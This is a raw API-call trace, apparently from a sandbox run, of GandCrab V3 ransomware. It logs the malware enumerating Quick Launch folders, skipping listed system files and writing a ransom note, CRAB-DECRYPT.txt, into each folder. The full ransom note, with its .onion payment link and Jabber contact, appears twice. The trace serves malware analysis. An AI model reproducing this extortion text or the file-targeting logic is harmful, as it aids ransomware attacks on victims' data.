	[0111.549] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.549] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.550] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.550] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.550] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2=".") returned 1
	[0111.550] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2="..") returned 1
	[0111.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk"
	[0111.550] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.550] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100
	[0111.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100
	[0111.550] lstrlenW (lpString=".lnk") returned 4
	[0111.550] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.550] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.551] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.551] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.551] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.551] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1
	[0111.551] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1
	[0111.551] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk"
	[0111.551] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.551] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96
	[0111.551] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96
	[0111.551] lstrlenW (lpString=".lnk") returned 4
	[0111.551] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.552] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.552] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.552] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.553] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.553] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1
	[0111.553] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1
	[0111.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0111.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\"
	[0111.553] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.553] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.554] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.554] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.554] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.554] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.554] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.554] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\CRAB-DECRYPT.txt") returned 108
	[0111.554] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.555] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.555] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.556] CloseHandle (hObject=0x3f8) returned 1
	[0111.557] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.557] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned 91
	[0111.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*"
	[0111.557] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda7130
	[0111.557] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.557] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.557] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.557] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.557] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.557] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.557] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt"
	[0111.557] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.558] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt") returned 107
	[0111.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt") returned 107
	[0111.558] lstrlenW (lpString=".txt") returned 4
	[0111.558] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.558] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.558] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt") returned 107
	[0111.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\CRAB-DECRYPT.txt") returned 107
	[0111.558] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.558] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.559] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.559] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.559] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.559] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1
	[0111.559] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1
	[0111.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0111.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\"
	[0111.559] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.560] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.560] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.560] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.560] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.560] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.560] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.560] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.560] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\CRAB-DECRYPT.txt") returned 129
	[0111.560] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.561] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.561] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0111.562] CloseHandle (hObject=0x3e0) returned 1
	[0111.563] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned 112
	[0111.563] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*"
	[0111.563] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xda7370
	[0111.563] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.564] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.564] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.564] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.564] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.564] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.564] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt"
	[0111.564] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.564] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt") returned 128
	[0111.564] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt") returned 128
	[0111.564] lstrlenW (lpString=".txt") returned 4
	[0111.565] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.565] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.565] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt") returned 128
	[0111.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\CRAB-DECRYPT.txt") returned 128
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.565] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.565] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.566] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0111.566] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.566] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.566] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1
	[0111.566] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1
	[0111.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0111.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\"
	[0111.566] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.567] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.567] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.567] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
